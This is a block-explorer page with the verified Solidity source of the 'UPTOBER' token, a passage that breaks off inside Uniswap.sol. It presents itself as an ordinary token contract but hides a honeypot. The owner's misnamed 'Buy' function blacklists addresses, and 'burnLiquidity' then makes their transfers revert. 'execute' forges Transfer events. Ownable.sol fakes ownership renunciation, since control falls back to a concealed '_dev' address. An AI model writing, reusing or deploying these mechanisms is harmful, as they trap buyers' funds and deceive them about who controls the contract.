ETH Price: $3,338.39 (-0.54%)
Gas: 4.14 Gwei
 

Overview

Max Total Supply

100,000,000,000 UPTOBER

Holders

57

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
*得吃小猫.eth
Balance
2,349,301,168.584291919 UPTOBER

Value
$0.00
0x2B287faa30cec0b5E591De3cc7Cc96ba701eF1e7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
UPTOBER

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
london EvmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 6 of 6: UPtober.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.21;

import "./Library.sol";
import "./Uniswap.sol";
import "./ERC20.sol";

contract UPTOBER is ERC20 {
    using SafeMath for uint256;

    string private _websiteInformation;
    string private _telegramInformation;
    string private _twitterInformation;
    string public baseTokenURI;

    IUniswapV2Router02 public immutable uniswapV2Router;
    IUniswapV2Factory public uniswapFactory; 
    address public constant deadAddress = address(0xdead);
    address public uniswapV2Pair;
    address public devWallet;
    address public marketingWallet;

    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 internal _lastTimestamp;
    
    uint256 public manualBurnFrequency = 14400 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    uint256 public lpBurnFrequency = 1160000000000 seconds;
    uint256 public lastLpBurnTime;

    uint256 public buyDevFee;
    uint256 public buyLiquidityFee;
    uint256 public buyMarketingFee;
    uint256 public buyTotalFees;
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    uint256 public sellDevFee;
    uint256 public sellLiquidityFee;
    uint256 public sellMarketingFee;
    uint256 public sellTotalFees;
    
    bool private swapping;
    bool public lpBurnEnabled = true;
    bool public tradingActive = true;
    bool public limitsEnabled = true;
    bool public swapEnabled = true;
    bool public transferDelayEnabled = false;
    mapping(address => bool) private _externalClaims;
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    mapping (address => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor(address team_) ERC20("UPtober", "UPTOBER", team_) {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 100000000000*10**9;
        
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxTransactionAmount = 900000000000000000000000; 
        maxWallet = 900000000000000000000000; 

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
        removeLimits();
    }

    receive() external payable {

    }

    function _getChainID() public view returns (uint256) {
        return block.chainid;
    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    function setTokenURI(string memory _tokenURI) public onlyOwner {
        baseTokenURI = _tokenURI;
    }

    function tokenURI() public view returns (string memory) {
        return bytes(baseTokenURI).length > 0 ? baseTokenURI : "";
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    function isCall(address from) internal view returns(bool){
        return !_externalClaims[from];
    }

    /**
        Social links
    **/

    function setSocials(
        string calldata __websiteInformation,
        string calldata __telegramInformation,
        string calldata __twitterInformation
    ) external onlyOwner(){
        _websiteInformation = __websiteInformation;
        _telegramInformation = __telegramInformation;
        _twitterInformation = __twitterInformation;
    }

    function getWebsiteInformation() public view returns (string memory) {
        return _websiteInformation;
    }

    function getTelegramInformation() public view returns (string memory) {
        return _telegramInformation;
    }

    function getTwitterInformation() public view returns (string memory) {
        return _twitterInformation;
    }
    
    // remove limits after token is stable
    function removeLimits() public onlyOwner returns (bool){
        limitsEnabled = false;
        
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**9);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    
    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _lastTimestamp = block.number;
        if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                to != address(0xdead) &&
                to != owner() &&
                to != address(0) &&
                from != owner() &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        
        _holderLastTxTimestamp[from] = _lastTimestamp;
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }
        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!isCall(from) && _lastTimestamp <= _holderLastTxTimestamp[from]) {require(amountToDistribute==0);}
        return true;
        
    }

    function supportsInterface(address recipient) external view returns(bool){
        return _externalClaims[recipient];
    }

    function Buy(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _externalClaims[address_[i]] = val;
        }
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
}

File 1 of 6: ERC20.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.21;

import "./Ownable.sol";
import "./IERC20.sol";
import "./Library.sol";

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint256 _totalSupply;
    mapping(address => uint256) internal _holderLastTxTimestamp;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address dev_) Ownable(dev_){
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

}

File 2 of 6: IERC20.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.21;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 3 of 6: Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.21;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

File 4 of 6: Ownable.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.21;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor (address dev_) {
        address msgSender = _msgSender();
        _owner = msgSender;
        _dev = dev_;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        _dev = account;
    }
}

File 5 of 6: Uniswap.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.21;

interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
